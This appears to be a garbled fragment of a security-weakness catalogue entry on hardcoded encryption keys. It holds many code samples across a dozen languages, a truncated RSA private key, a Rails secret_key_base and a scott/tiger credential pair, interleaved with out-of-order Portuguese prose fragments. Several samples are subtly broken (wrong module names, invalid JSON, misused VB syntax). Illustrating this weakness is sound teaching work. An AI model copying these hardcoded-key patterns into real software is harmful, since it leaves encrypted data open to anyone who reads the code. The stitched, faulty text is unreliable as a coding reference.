var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...
...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}
...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...
...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...
...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
{
"username":"scott"
"password":"tiger"
}
...
...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...
...
$encryption_key = 'hardcoded_encryption_key';
//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
_hardcoded__key_
, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações pode usá-las para comprometer dados criptografados pelo sistema.
require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...
Exemplo 2: O código a seguir realiza a criptografia AES usando uma chave de criptografia em código fixo:
...
let encryptionKey = "YELLOW_SUBMARINE"
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...
...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...